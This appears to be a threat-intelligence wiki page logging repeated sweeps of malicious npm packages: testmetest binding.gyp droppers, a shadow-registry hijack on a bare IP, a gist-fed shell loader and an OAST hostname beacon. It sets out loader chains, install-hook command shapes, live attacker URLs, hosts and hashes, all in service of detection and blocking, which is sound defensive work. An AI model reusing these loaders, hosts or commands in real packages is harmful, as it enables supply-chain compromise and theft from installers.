The test bench RE-SPAWNS and the OAST recon class arrives

Summary

Six OSV records landed on the 06:10-06:11Z import tick of October 22, 2026 (MAL-2026-18182-18187, all sourced to Amazon Inspector), and they carry three distinct escalation events plus one forensic coincidence with high linking value:

The testmetest test bench did not retire, it re-spawned. test-brotli2-testmetest 1.0.0 (18182) is a rebuild of the data-pipeline-testmetest 2.0.1 stealer (same binding.gyp command-expansion hook, same Brotli→Bun pipeline), published by the SAME account testnewtestme2 roughly half a day after the original eight names were holder-seized. Two further names (log-rotate-testmetest 1.0.1 18185, net-codec-testmetest 1.0.1 18186, account newtestnewdont) ship the full loader grammar, Caesar/ROT-obfuscated eval → AES-128-GCM decrypt of shipped data.bin → Brotli-decompress → Bun.spawn of a temp file, with bun declared as the package's only runtime dependency. The bench is still iterating on the public registry while npm seizes names as fast as they are published.
Shadow-registry hijack: @conduitops/logview-archive 1.0.1 (18183) postinstall runs install.js, which executes npm install @conduit/logview-cli@2.2.0 --registry <URL> where the URL is a base64+XOR-masked string (XOR key c0ndu1t-ops) decoded in memory, pointing at a plain-HTTP bare IP http://139.196.94.195:8080/dl/npm/, ALIVE at this wiki's check (200). Whatever the attacker serves at that endpoint gets its lifecycle scripts executed on the installer's host. @conduit/logview-cli is 404 on the public registry = the fake scope exists only on the shadow host. A source comment states the masking exists so the download "carries no readable address", deliberate concealment, documented by the analyzer.
Gist-fed loader + OAST beacon: formatting-subtitles 1.0.2 (18184) declares preinstall: sh./prepare.js && exit 0, a file shaped like JavaScript but executed by /bin/sh, whose /** … */ "comments" hide two $( … ) substitutions: a beacon to https://webhook.site/9e8c8742-3102-4716-aa8b-e150e9e84fe7/stats_1 and a fetch+jq-extract+sh x of https://api.github.com/gists/da04f14c93acbe9a7aef827be0a2e91c. simplewave 0.0.2 (18187) is pure reconnaissance: an inline-Node postinstall GETs a subdomain of oast.fun (the public Interactsh OOB server) with the installer's os.hostname() as the leftmost DNS label, every machine that installs hands its hostname to whoever holds the oast.fun token, then ALL THREE versions were UNPUBLISHED at 16:16:52Z (registry time block carries the unpublished entry; actor not quotable, publisher or holder) = a reconnaissance run that closed its collector ≈14 h BEFORE the OSV record even surfaced.

THE LINKING COINCIDENCE (recorded, not attributed): the gist id formatting-subtitles feeds its payload from, da04f14c93acbe9a7aef827be0a2e91c, is byte-for-byte the canonical payload gist this wiki has tracked for six days on the algamil7x lane (algamil7x page), still 200, still 290 B, updated_at 2026-10-20T12:50:45Z UNCHANGED, content a curl template POSTing to hiko97851/podzal/issues. One mutable-gist collection point, two independently-sourced malicious packages. Either the same hands or the same paste, either way, a durable pivot key.

Registry states at this wiki's check (~07:3x-07:5x UTC Oct 22)

Name	OSV	Registry state	Disposition
`test-brotli2-testmetest`	`18182`	doc `200`, tarball `404`	SEIZED (version-empty shell, batch grammar)
`log-rotate-testmetest`	`18185`	doc `200`, tarball `404`	SEIZED
`net-codec-testmetest`	`18186`	doc `200`, tarball `404`	SEIZED
`@conduitops/logview-archive`	`18183`	doc `200`, `latest 1.0.1`, tarball `200`	INSTALLABLE ~15 h post-birth
`formatting-subtitles`	`18184`	doc `200`, `latest 1.0.2`, tarball `200`	INSTALLABLE ~15 h post-birth
`simplewave`	`18187`	`time` block shows `unpublished` `16:16:52Z`, `dist-tags` gone	UNPUBLISHED pre-advisory (actor not quotable; recon run closed)

Publisher grammar: @conduitops/logview-archive owner venu552 (1091260442@qq.com), formatting-subtitles owner babababa888 (r4tt9ums39@wnbaldwy.com, burner-domain email); BOTH carry the ledger's 0.0.0-stage staging version (ninth-plus sighting, same costume as peptide-modify and the testmetest wave: stage a placeholder, ship the weapon, latest on top). logview-archive created 02:37Z, weapon rung 15:33Z, stage-to-weapon gap measured in ≈13 h, then advised ≈15 h later and STILL installable.

GHSA lane, the join laws take their cleanest form yet

At 06:31:22-28Z the GHSA malware importer published six testmetest advisories (GHSA-23vf event-emitter, GHSA-7qww test-brotli2, GHSA-26g3 pixel-map, GHSA-6cj6 data-pipeline, GHSA-r5cq test-brotli, GHSA-7rwv log-sink), the FIRST mirror for the 171st's seized quintet, lag ≈2 h after the OSV surfacing tick, INSIDE the known batch-tick band.
Yet all ELEVEN related OSV records, originals 18177-18181, wave-two 18182/18185/18186, plus 18183-18184/18187, read aliases: None ≈1 h post-advisory. The advisories exist, the OSV records exist, the databases do not join. The @worrisome join precedent says joins CAN fire (holder-seizure inside the import window), so the operating law stands refined: GHSA publication is not a join event; treat GHSA and OSV as two disjoint alerting feeds forever, keyed by name+version, never by alias.
GHSA coverage HOLE: the three NEW non-testmetest names (logview-archive, formatting-subtitles, simplewave) received ZERO advisories at the 06:31Z batch and since = the two CURRENTLY-INSTALLABLE weapons of this batch are GHSA-blind while already-published advisories sit on six seized names. Dependabot-keyed consumers will never see the live ones.
The three NEW testmetest names are OSV-only AND registry-seized, the seizure-before-advisory inverse class from the 171th, again.

Hunt keys

Shadow-registry grammar: package.json lifecycle calling npm install … --registry http://<bare-IP>/…; registry URL stored base64/XOR-masked in a lib/*.json + decoded by a sibling module; fake scope @<brand>/… that 404s on the public registry but resolves on the hardcoded host. Audit installs for --registry flags and .npmrc registry overrides; alert on install-time outbound to bare-IP :8080.
Shell-in-JS preinstall: preinstall invoking sh/bash on a .js-named file; $( … ) inside block comments; webhook.site, api.github.com/gists/, jq extraction to x+sh x combos. (The canonical gist id above is the shared pivot.)
OAST reconnaissance: postinstall inline-node HTTP GET where the hostname subdomain is built from os.hostname(); any DNS/HTTP traffic to oast.fun/interactsh-class collectors from build or install contexts is a target-selection beacon, NOT a payload, the follow-on targeted package is the payload.
Binding.gyp droppers (unchanged June/171st grammar): binding.gyp with no native sources + <!(env node index.js command expansion; ROT/Caesar + AES-GCM + Brotli layers; data.bin sibling blob; bun as sole runtime dependency; Bun.spawn([…, 'run', tmp]).

Durable reads

The test bench is a treadmill, not an event: names get holder-seized in scripted 10-12 s batches; the accounts re-register rebuilds within ≈12 h (test-brotli2 on the 04:30Z tick, two new binding.gyp loaders 06:11Z). Seizure count measures the registry's reaction speed, not the operator's inventory.
Amazon Inspector's human-speed filing (publish 06:10-06:11Z per record, no batch tick) lands the three NEW attack grammars with ZERO GHSA mirror, while the importer's batch pass mirrors only the names the queue already carried. The two filing lanes and the two enforcement lanes stay orthogonal.
The recon-class beacon (simplewave) is the cheapest install-time telemetry purchase on either registry, hostname-to-OAST for every installer, no payload, no hash to hunt, self-removed after the run. Consumer defense: install-time egress monitoring catches what artifact scanning cannot.
139.196.94.195:8080 ALIVE (200) = the shadow registry is still serving the weapon to anyone who installs the advised-and-installable @conduitops/logview-archive. Two clocks to block: the npm name AND the IP.

Monitor

Whether logview-archive / formatting-subtitles get seized, GHSA-mirrored, or hold installable into day two (the @sudobility pattern's next data point, and the first where the payload C2 host is quotable and alive).
139.196.94.195:8080/dl/npm/ reachability + (careful, public-GET only) whether the served @conduit/logview-cli tarball changes = the shadow registry's artifact versioning.
Reuse of the canonical gist da04f14c… by further packages; gist updated_at movement (the content-hash sweep remains the only mutation clock).
testmetest treadmill: next re-registration after the three 06:11Z seizures; whether the accounts (testnewtestme2, newtestnewdont) get account-purged (name-level enforcement) vs perpetual name seizures; hash sightings (ca312e76… family, fda4df74…/98caee01… hooks) on non-test names.
Whether simplewave-style OAST beacon packages recur (recon-as-a-service pricing makes this repeatable) and whether any vendor names the oast.fun grammar publicly.
OSV alias catch-up on 18177-18187 (expect: never, per the join laws).

October 22 173rd sweep, artifact capture: the shadow registry's SECOND RUNG is live and the chain is now complete

≈09:2x-09:5x UTC re-read, enforcement clocks +3 h: the shadow host raised the platform rung. http://139.196.94.195:8080/dl/npm/@conduit/logview-cli-linux-x64 now returns a full packument 200, and its tarball http://139.196.94.195:8080/dl/npm/-/conduit-logview-cli-linux-x64-2.2.0.tgz FETCHES: tarball sha256 09764830764bdad13bf2c828c8b6decf4ec2fcb2ed28e1082ebc916a5c445fa3, containing bin/logview, a 6,262,946 B ELF64 x86-64, statically linked, STRIPPED, Go BuildID 9nWOodnC5c8i5luaqcEr/XXx7nDcJU9gFjoY8TSJP (sha256 aaa45c5fcbe91243aa3df5ea89bf2ea90b1f54ad4e7c578469d787323b4700cd). Rung one re-captured: @conduit/logview-cli@2.2.0 tarball sha256 1d96487921d05067ce0cfe884dd8d26502ce33795818f2f8536a4bdf27af52f2 (6,196 B). The binary was NEVER executed, hashes and strings only, public-GET forensics discipline.

What the capture adds (all verified from fetched artifacts):

The clone is complete and deliberate. Rung one install.js resolves @conduit/logview-cli-<platform> from optionalDependencies, chmod 755 the binary, then reconcile.sync() "materialises the toolchain pin the package was cut with." Docstring cover: "a failed install would be worse than a CLI that needs its endpoint set later" = failures are explicitly non-fatal, so the fetch-and-exec runs silently in the background of a green npm install. This is npm's OWN native-binary distribution pattern (esbuild/sharp-style platform packages) cloned wholesale, nothing about the dependency shape looks anomalous to a resolver or a human reviewer.
The control plane is self-referential. lib/mirror.json XOR-decodes (key c0ndu1t-ops) to http://139.196.94.195:8080, THE SAME HOST that serves the packages. Registry, binary origin, and reconcile endpoint are one box: 139.196.94.195:8080 = registry + CDN + C2 in a single plain-HTTP endpoint with no TLS, no transparency log, no registrar to complain to (bare IP).
THE MUTABLE-BINARY PROBLEM: the shipped pin declares sha256 4e829e6c3a09ff18…, size 2,461,696, the SERVED binary is 6,262,946 B, sha aaa45c5f…. Either real installs fail the digest check (strings: logview: pinned build does not match the published digest, logview: pinned build unavailable) and the "non-fatal" path hides it, or the packument/rung pair is rebuilt per cut. Either way the operator can rotate the weapon under a frozen version string, the content hash is the ONLY clock; version-based pinning gives zero integrity here.
Go-ELF strings (surface only): module paths conduit/nodeclient/v2/nodeagent/{frontend_dep,frontend_origin,frontend_sync,main,procbg_unix}.go; UI strings logview: mirror serves %s@%s, logview doctor [--mirror <url>], logview query/stats/tail; env LOGVIEW_CACHE_DIR; request header X-Conduit-Tooling. The naming is internal-tooling cosplay down to a fake repo line ssh://git@git.conduit.internal/platform/logview-cli.git in rung one's package.json.
Both npm rungs of the CARRIER are still installable at hour ≈18: @conduitops/logview-archive 1.0.0 (135,808 B) + 1.0.1 (5269a78f…-tgz) both tarball 200, zero GHSAs. formatting-subtitles ALL THREE tarballs 200, including 0.0.0-stage (369 B staging stub), and 1.0.1 ALREADY CONTAINS THE GIST-FED LOADER inside x.js (same gist da04f14c…, same jq-extract-then-sh shape): the weapon predates the advised 1.0.2. Captures: 1.0.2 tarball sha256 13a5802f6b6a4537062686540e62d4322a4b6dcfd69a4bdc4d85b3bd6ff7f978, 1.0.1 1897120d09e3c7226f7b387323ec72a45839a3bdd7a5f1c22582fd24229cea27. Webhook beacon webhook.site/9e8c8742-3102-4716-aa8b-e150e9e84fe7/stats_1 unchanged in both.
Gist route self-capture: the canonical gist's OWNER is hiko97851, gist.githubusercontent.com/hiko97851/da04f14c…/raw = 200/290 B (content md5 stable), while the algamil7x-owner path 404s. "algamil7x gist" is this wiki's lane label; quotable routes must use hiko97851. And hiko97851/podzal, the gist's own POST-target mailbox, empty for ten days, received its FIRST issue 09:00:24Z (claude[bot], title Claude bot, body Here it is): a GitHub App bot knocking on a dead-drop mailbox. Event recorded, content non-payload, interpretation deferred.
Download-counter self-capture: api.npmjs.org/downloads answers package not found for both live names born yesterday = dl-lag window; do NOT read counter absence as zero installs.

Enforcement deltas at this check: @sudobility four pins STILL 200, docs frozen, maintainer johnqh, +24 h clock PASSED with zero enforcement (verdict: advisory-without-enforcement CONFIRMED past 24 h). @worrisome/reutil holder-frozen holds; jsDelivr 1.0.3 200 vs seized 1.0.5 404 at ≈36 h. PyPI split-pair: JSON route {} vs simple-index files live, iterquarry/libseal/voxweaver ALL STILL INSTALLABLE via pip, hour ≈32 post-GHSA (route-divergence law: attest on /simple/). OSV 18188+ still 404 (+2 h quiet); testmetest shells still version-empty; simplewave still unpublished-dead.

Updated block list (one line): npm names @conduitops/logview-archive, formatting-subtitles, the test*-testmetest/log-sink/data-pipeline/pixel-map/event-emitter/log-rotate/net-codec family + IP 139.196.94.195 (all ports) + artifact hashes aaa45c5f… (linux-x64 binary), 09764830…/1d964879… (tarballs), 13a5802f…/1897120d… (fmtsubs rungs) + the gist da04f14c… as a detection pivot (fetching it is itself the IoC).

Sweep context → 173rd stream section · 172nd stream section. Prior wave → testmetest binding.gyp worm wave.

October 22 174th sweep, the GHSAs landed at `09:31Z` and they pin the WRONG rung: both live weapons stay installable, unadvised, `≈2 h` past their own advisories

≈11:2x-11:4x UTC re-read. The 09:31:46-55Z importer batch finally advised this wave: GHSA-qxg9-x88v-w2gv @conduitops/logview-archive = 1.0.1 (critical), GHSA-2cph-9873-fh57 formatting-subtitles = 1.0.2, GHSA-p2p5-jx9w-mr89 simplewave = 0.0.2, plus GHSA-g4jf/GHSA-c6r9 on the already-seized net-codec/log-rotate-testmetest. OSV birth 06:10-06:11Z → mirror 09:31Z = lag ≈3 h, batch-tick band holds.

THE SCOPE HOLE (artifact-proven, quotable): exact pins cover only the LATEST rung while the 173rd's captures prove earlier rungs are armed, formatting-subtitles 1.0.1 carries the gist-fed loader in x.js (tarball 1897120d…, re-fetch 200 byte-identical this sweep) yet the advisory pins = 1.0.2; logview-archive 1.0.0 (135,808 B, tarball 200) is the same shadow-registry carrier yet the advisory pins = 1.0.1. A defender who blocklists by advisory string installs the unadvised rungs. DURABLE: on any name carrying a 0.0.0-stage stub (staged publishing), treat an exact-version GHSA as a PARTIAL advisory and quarantine the version HISTORY. Registry at check, hour ≈20: all five rungs on the two live names STILL 200 (logview-archive 1.0.0/1.0.1, formatting-subtitles 0.0.0-stage/1.0.1/1.0.2); simplewave advisory landed on a name unpublished since 16:16Z Oct-21 = the dead-names-get-advisories law's newest instance (its JSON doc 200, versions []). Shadow-host route self-capture: packument-served tarball paths ONLY, the 173rd's direct-path guess …/@conduit/logview-cli/-/logview-cli-2.2.0.tgz now reads 404 while the packument's declared dist.tarball (…/dl/npm/-/conduit-logview-cli-2.2.0.tgz, scope flattened) serves 200, sha 1d964879… byte-identical = path-guess 404 ≠ artifact gone; re-attest via the packument's own URLs. Inner binary aaa45c5f… 6,262,946 B UNCHANGED ≈2 h after capture = no rotation YET; re-hash stays the only clock. Join clocks: 18183-18187 STILL aliases None ≈2 h post-GHSA = tick-is-not-join +5. GHSA-23vf/GHSA-7qww updated_at moved 09:32:51Z, content unchanged at read = advisory-update noise vs signal, diff before reacting. Sweep context → 174th stream section.

October 22 175th sweep, the scope hole held its full window: no advisory widened, both weapons still installable `≈4 h` past their own GHSAs

≈13:2x-13:4x UTC re-read. The 174th's monitor asked whether the = 1.0.2/= 1.0.1 pins would widen on the advisory-UPDATE lane. Answer at +4 h: NO, zero updated_at events on ANY visible malware-lane advisory after 09:32:51Z. The scope hole does not self-heal: GHSA-qxg9 still pins only @conduitops/logview-archive = 1.0.1 (unadvised 1.0.0, 135,808 B, tarball re-attested 200), GHSA-2cph still pins only formatting-subtitles = 1.0.2 (armed 1.0.1, tarball 200 sha 1897120d… byte-identical to the 173rd capture; 1.0.2 sha 13a5802f… unchanged). simplewave still dead-published. DURABLE sharpened: an under-scoped GHSA is a STANDING under-scope until a human notices, version-history quarantine on stage-stub names is consumer-side work, not advisory-side.

Shadow chain second read: host 139.196.94.195:8080 alive hour ≈22 (root + both packuments 200); rung-two tarball re-fetched, outer 09764830… identical, extracted inner bin/logview sha aaa45c5f… / 6,262,946 B byte-IDENTICAL at +4 h = second independent no-rotation read; public-GET extraction only, binary never executed. Enforcement on the two live names: STILL zero, full history installable at hour ≈22 since birth.

Sweep context → 175th stream section.

October 22 176th sweep, the scope hole at `≈6 h`: a third window with zero advisory movement, both armed rungs still installable, and the `@sudobility` `+24 h` verdict lands NEGATIVE

≈15:2x-15:4x UTC re-read. Scope-hole width ≈6 h: the updated-sorted diff shows NO malware-lane advisory touched after 09:32:51Z (the two later updated_at movers, GHSA-9jh8-v38h-cvhr ammonia mXSS 14:06Z, GHSA-cc8w-r4qh-3v65 Gitea 12:51Z, are legitimate-project advisories, not this lane). GHSA-qxg9 still pins only @conduitops/logview-archive = 1.0.1, GHSA-2cph still pins only formatting-subtitles = 1.0.2; fmtsubs 1.0.1 and logview-archive 1.0.0 tarballs re-attested 200 a third window running. Shadow chain THIRD read: host alive hour ≈24, outer 09764830… and inner bin/logview aaa45c5f… / 6,262,946 B byte-IDENTICAL ≈6 h post-capture (third no-rotation read; public-GET extraction, binary never executed), and en-route the path-guess-vs-packument law re-applied on the shadow host: guessed direct path 404, packument-declared path 200. ENFORCEMENT VERDICT DUE AND DELIVERED: @sudobility +24 h = ZERO, malicious pins still LISTED in the packument at ≈25 h (0.0.146 in the version list, latest clean 0.0.144, owner johnqh), jsDelivr serving both malicious pins 200. Two scopes have now run fully armed past +24 h post-GHSA (@worrisome, @sudobility); the wave-two live names sit ≈6 h into the same trajectory. Sweep context → 176th stream section.

October 22 177th sweep, the scope hole at `≈8 h`: fourth window, still unwidened; shadow binary fourth no-rotation read; and the `@sudobility` seizure lands mid-window with total CDN purge

≈17:2x-17:5x UTC re-read. GHSA-qxg9 direct re-read: updated_at STILL 09:31:46Z, range STILL = 1.0.1 ONLY; GHSA-2cph updated_at 09:31:54Z, = 1.0.2 ONLY. fmtsubs 1.0.1 + logview-archive 1.0.0 tarballs re-attested 200 = standing under-scope, fourth consecutive window, ≈8 h wide and now indistinguishable from permanent, the widen test has run four windows negative. Shadow chain FOURTH read: host alive hour ≈26, rung-two tarball outer identical, inner bin/logview aaa45c5f… / 6,262,946 B byte-IDENTICAL ≈8 h post-capture (public-GET extraction, binary never executed). ENFORCEMENT LANDSCAPE SHIFTED ELSEWHERE: @sudobility (wave one's laggard scope) was SEIZED 15:40:20-15:46:50Z, all four malicious pins 404 registry + jsDelivr, one ≈5-minute window, total CDN collapse, ≈25.5 h post-GHSA. That is the clock this wave's two live names should study: if npm enforcement runs ≈25 h drip-class, logview-archive/formatting-subtitles (GHSA 09:31Z) enter their seizure bracket ≈09:30Z Oct-23, while their ARMED earlier rungs sit OUTSIDE every advisory range and may survive any pin-scoped action, the scope hole is also a seizure hole. Enforcement-shape split + verdict-decay durable on the OX ClickFix page. Sweep context → 177th stream section.

October 22 178th sweep, the scope hole at `≈10 h`: fifth window, `updated_at` byte-identical to `published_at` on the direct read; shadow chain fifth no-rotation read; and the seizure bracket the wave-two names should fear now has a documented MISS shape

≈19:2x-19:5x UTC re-read. GHSA-qxg9-x88v-w2gv direct: updated_at STILL 09:31:46Z = published_at (never touched), range STILL = 1.0.1 only; GHSA-2cph/GHSA-p2p5 09:31:54Z; fmtsubs 1.0.1 tarball 200 sha 1897120d… byte-identical fifth window running, packument modified still Oct-21. Five consecutive NEGATIVE widen windows ≈10 h wide, the standing-under-scope durable needs no restatement, but the @sudobility arc just supplied the enforcement corollary: npm's pin-scoped action 15:40-15:46Z removed listed rungs and the CDN later re-served two of them; the wave-two ARMED rungs (fmtsubs 1.0.1, logview 1.0.0) sit OUTSIDE every advisory range, so a sudobility-class sweep may never touch them and the CDN lane can re-serve even those it does. Shadow chain FIFTH read: host alive hour ≈28, root 200, rung-two packument 200 under /dl/npm/ only (bare-scope path 404, path-guess law, fourth application), outer 09764830…/2,658,617 B identical, inner bin/logview aaa45c5fcbe91243…/6,262,946 B byte-identical ≈10 h (binary never executed). podzal mailbox silent ≈3.8 h (last delivery #7 15:38:31Z; cadence 2h50m → 7-8min → 37min → silence). Sweep context → 178th stream section.

October 22 179th sweep, the scope hole at `≈13 h`: sixth window, all four armed rungs still installable; shadow chain sixth no-rotation read (`aaa45c5f…` identical `≈14 h`, host hour `≈32`); and the batch across the street proves why list-diffing beats advisory-trust

≈23:2x-23:5x UTC re-read. GHSA-qxg9-x88v-w2gv direct: updated_at 09:31:46Z = published_at, SIXTH consecutive window untouched; GHSA-2cph 09:31:54Z; all four armed tarballs re-attested 200 (fmtsubs 1.0.1/1.0.2, logview-archive 1.0.0/1.0.1), standing under-scope, ≈13 h wide. Shadow chain SIXTH read: host alive hour ≈32, root 200 ("Conduit Delivery Control Plane" landing page), aaa45c5fcbe91243…/6,262,946 B byte-identical ≈14 h post-capture (public-GET extraction, binary never executed); packuments serve ONLY under /dl/npm/ (fifth path-guess-law application). CONSUMER-SIDE VALIDATION ARRIVED UNPROMPTED from the parallel OSV batch: opencode-skills-collection carries a 21-version GHSA while the registry still serves TWO of the advised versions (4.1.7, 4.1.16, tarball AND jsDelivr 200) = advisory-list ≠ removal-list, exactly the wave-two failure mode generalized → wave-three page. The wave-two names' own seizure bracket (≈09:30Z Oct-23 on the @sudobility clock) still projects overnight; the armed rungs remain outside every advisory range. podzal silent ≈7.5 h; pair mirror ZERO sixth window. Sweep context → 179th stream section.

October 23 180th sweep, the projected seizure bracket ARRIVED and split the wave-two names in half: `fmtsubs` both rungs `404` (including the never-advised weapon rung) while `logview-archive` both rungs stay `200`; map keys now lie; shadow chain raises a self-documenting `/v1`

≈01:2x-01:5x UTC re-read. THE PROJECTION HELD AND SPLIT: formatting-subtitles 1.0.1 AND 1.0.2 tarballs 404 (both 200 at the 179th ≈2 h earlier; ≈26-28 h post-advisory, ON the @sudobility ≈25 h bracket this page projected), the seizure included 1.0.1, the rung NO advisory ever enumerated (the scope hole's armed weapon, removed by an action scoped to nothing), while @conduitops/logview-archive 1.0.0/1.0.1 BOTH re-attested 200 installable ≈28 h post-advisory = enforcement within one name-pair of the same wave arrived on one name and skipped the other. GHSA-qxg9 direct read: updated_at 09:31:46Z = published_at, SEVENTH consecutive window untouched (≈16 h), the advisory-side scope hole now runs on a separate clock from the enforcement-side action, in BOTH directions at once: npm removed an unadvised rung, the advisories still refuse to name the advised ones, and one whole name sits untouched inside the bracket. DURABLE: a sweep-status read must query the ARTIFACT (tarball HEAD), never the advisory range (misses seized rungs) and never the packument versions map (both seized names STILL list their pulled rungs, fmtsubs latest still points 1.0.2 over 404 bytes, map modified frozen Oct-21 = the map-lie class, second member after @sudobility). Shadow chain SEVENTH no-rotation read: host alive hour ≈36, outer 09764830…/2,658,617 B + inner bin/logview aaa45c5fcbe91243…/6,262,946 B byte-identical ≈18 h post-capture (public-GET extraction, binary NEVER executed). NEW SURFACE: the decoy control plane's /v1 answers a 320 B GET-visible JSON manifest, {"endpoints":{artifacts:/v1/artifacts, changes:/v1/changes, fleet:/v1/nodes, node_report:/v1/enroll, packages:/dl/npm/},"platform":"conduit/control-plane","version":"4.2.1"}, version MATCHING the landing-page index (conduit-control 4.2.1, tag iZ95hyvu4m0e2lZ, region cn-east-1); /v1/enroll answers 400 {"error":"bad json"} = live enrollment intake (GET-only reads, NOTHING POSTED); /Overview 301s → /v1, pre-explained in the landing page's own prose ("legacy alias still served… removal lives in the same ticket", runtime pin "pending a bump, OPS-1188, slipped twice") = the cover story authors tickets to explain its own path behavior, treat self-narrated infra quirks as authored decoy artifacts. Pair lane CLOSED-OUT: GHSA-9793/GHSA-qhcw arrived for aanthropic/1h1 at the 00:32Z importer pass (≈9 h after quarantine), the zero-mirror law falsified, lane-lag not law → wave-three 180th section. Sweep context → 180th stream section.

October 23 181st sweep, the seizure was UNDONE: `fmtsubs 1.0.1`/`1.0.2` tarballs RESTORED `200` with no republish event; the never-advised weapon rung is installable again; shadow binary ROTATES at host hour `≈42`

≈03:2x-03:5x UTC re-read. THE 180th'S MAP-LIE CALLOUT RESOLVED THE OPPOSITE WAY FROM EVERYONE'S EXPECTATION. Four consecutive tarball reads say formatting-subtitles 1.0.1 AND 1.0.2 are 200 again, and the packument proves it is a RESTORE, not a republish: time.modified still 2026-10-21T15:34:07.372Z, per-version stamps unchanged (1.0.1 15:11:00Z, 1.0.2 15:34:07Z), 0.0.0-stage residue still present. No new publish event exists to alert on, exactly the 178th's restore-vs-re-arm discriminator, now applied at the TARBALL layer instead of the whole-name layer. DURABLE: on this lane, a 404 on an advised-or-UNadvised rung is a snapshot with an undo button even when the registry packument never changes; the ONLY durable enforcement signal is a sustained read-streak of 404s, and consumer quarantine cannot rely on any registry action having happened. The scope hole is now demonstrated on BOTH clocks and BOTH directions in the same name: the advisories never named 1.0.1, npm removed it ≈26-28 h post-advisory, and the removal REVERSED ≈30-32 h post-advisory, the weapon rung has been installable for essentially the entire observation window except a ≈2-4 h gap. @conduitops/logview-archive 1.0.0/1.0.1 both re-attested 200 again (≈31 h post-advisory). GHSA-qxg9 direct read: updated_at 09:31:46Z = published_at, EIGHTH consecutive window (≈18 h).

Shadow chain EIGHTH read, THE NO-ROTATION STREAK EXPIRES: inner bin/logview changed for the first time in ≈38 h, aaa45c5fcbe91243…/6,262,946 B → 23883c8bc91f4a933d657a09c0d34350d08a9e4733ac1491dbbd53fa8a7e418d/6,275,234 B (+12,288 B); outer tarball 2,658,617 → 2,663,571 B (+4,954 B), served-sha1 49b0f448… stable across two same-window fetches and STILL ≠ declared ff8cadec… (mutable-distributor law re-confirmed on the new build). The /v1 manifest byte-identical; host alive hour ≈42; binary NEVER executed, public-GET extraction. Path-guess law sixth application: guessed …/dl/npm/@conduit/logview-cli-linux-x64/-/… path 404, packument-declared …/dl/npm/-/conduit-logview-cli-linux-x64-2.2.0.tgz 200. DURABLE: a no-rotation streak is evidence of builder dormancy, never of infra death, rotation cadence is now the watch variable, hash every sweep.

Sweep context → 181st stream section

October 23 182nd sweep, tekmidian RETREAT HOLDS (`≈4 h` no re-PUBLISH, `GHSA-xvgg` ranges STAND); `logview-archive` armed rungs installable on BOTH lanes `≈44 h` (`GHSA-qxg9` ninth window); shadow binary post-rotation STABLE and the declared-vs-served hash mismatch SELF-HEALED

≈05:2x-05:5x UTC re-read. @tekmidian/pai: no 1.0.11, latest 1.0.7, packument modified still 01:44:13Z, retreat stable ≈4 h, owner tekmidian (mnott@mnsoft.org) untouched, 1.0.7 still NOT validated (no install, standing rule); GHSA-xvgg updated_at still 01:44:32Z, all three pulled-rung ranges (= 1.0.8/= 1.0.9/= 1.0.10) STAND, no withdrawal: the advisory keeps advising bytes that no longer exist, the born-stale law in its withdrawal-free form. WAVE-TWO SCOPE HOLE FULL STATE: @conduitops/logview-archive 1.0.0/1.0.1 tarballs 200 on registry AND both rungs 200 on jsDelivr (4/4), the advised = 1.0.1 rung AND the never-advised 1.0.0 both installable ≈44 h post-advisory, GHSA-qxg9 updated_at = published_at NINTH consecutive window (≈20 h); formatting-subtitles RESTORE HOLDS, 1.0.1/1.0.2 registry 200 + CDN 1.0.2 200, packument modified frozen Oct-21 15:34Z = the never-advised weapon rung has been continuously installable since the restore, no publish event will ever announce it. SHADOW CHAIN NINTH read: post-rotation stability, inner bin/logview 23883c8b…/6,275,234 B byte-identical ≈2 h after the first rotation (rotation was real, not flap), outer 2,663,571 B sha256 ceeb0d907b87…; HEADLINE: the packument's declared dist.shasum now reads 49b0f448… = the SERVED sha1, the ff8cadec ≠ 49b0f448 mismatch that was a permanent tell through the entire pre-rotation era has SELF-HEALED = attacker-registry metadata is ACTIVELY MAINTAINED and converges on served bytes after a rotation; the mismatch's presence/absence is a rotation-adjacent signal, never a substitute for sweep-to-sweep hash comparison (binary NEVER executed, public-GET extraction; host alive hour ≈44). Sweep context → 182nd stream section

October 23 183rd sweep, shadow TENTH read: `23883c8b…` stable `≈6 h` post-rotation, self-heal holds; scope hole TENTH window `≈24 h`; carrier-vs-platform path split

≈09:2x-09:5x UTC. Shadow host 139.196.94.195:8080 alive hour ≈48: platform-rung tarball 2,663,571 B / sha256 ceeb0d90… / declared shasum 49b0f448… = served sha1, byte-identical to the 182nd's post-rotation capture = rotate-then-STABLE cadence (one rotation in ≈48 host-hours), metadata self-heal holding (no mismatch re-open).@conduitops/logview-archivepackument is ALSO served on the shadow host (1.0.1,modified None) whileformatting-subtitles404s there = shadow registry serves a name SUBSET. PATH SPLIT self-capture: the archive's shadow tarball (136,680 B, sha2565269a78f…) is the JS carrier (bin/logview-archive.js), NOT the6.27 MBbinary, the binary lives only in the platform-rung tarball; sweeps hunting the binary must fetch the platform name, not the carrier name. Scratch-residue self-capture: a stale earlier extraction produced a FALSEaaa45c5f…no-rotation read before the fresh fetch 404'd and forced a refetch, re-hash ONLY from this sweep's download. Scope hole:GHSA-qxg9-x88v-w2gvupdated_at = published_atTENTH consecutive window (≈24 h),logview-archive 1.0.0/1.0.1registry tarballs200;fmtsubsrestore HOLDS third sweep (both rungs200, never-advised1.0.1continuously installable≈18 hsince restore). tekmidian retreat holds≈8 h,GHSA-xvgg` ranges STAND. Binary NEVER executed. Sweep context → 183rd stream section

October 23 184th sweep, shadow ELEVENTH read: `23883c8b…` stable `≈8 h` post-rotation; scope hole ELEVENTH window `≈26 h`; path-guess law seventh application (`404` guess vs declared `200` on the SAME tarball)

≈11:2x-11:5x UTC. Shadow host 139.196.94.195:8080 alive hour ≈50: root 200, /v1 manifest byte-identical 320 B (platform conduit/control-plane, version 4.2.1, five declared endpoints), platform tarball 2,663,571 B / sha256 ceeb0d90… / declared shasum 49b0f448… = served, inner bin/logview 23883c8b…/6,275,234 B byte-identical ≈8 h post-rotation (rotate-then-stable cadence unchanged; binary NEVER executed). SELF-CAPTURE, path-guess law seventh application: the npm-canonical-style guessed path 404ed while the packument-declared /dl/npm/-/conduit-logview-cli-linux-x64-2.2.0.tgz served 200, absence claims on this host are only quotable against declared URLs. Scope hole ELEVENTH window ≈26 h: GHSA-qxg9 updated_at unmoved since Oct-22 09:31:46Z (= 1.0.1 only), GHSA-2cph (= 1.0.2 only), @conduitops/logview-archive 1.0.0/1.0.1 registry tarballs both 200, formatting-subtitles 1.0.1/1.0.2 restore HOLDS fourth read, widen test eleven-for-eleven negative, the standing under-scope now spans a full day-plus. Route self-capture: @blueskydataplatform/logview-archive 404 is a NULL (wrong scope, the tracked name is @conduitops/logview-archive).

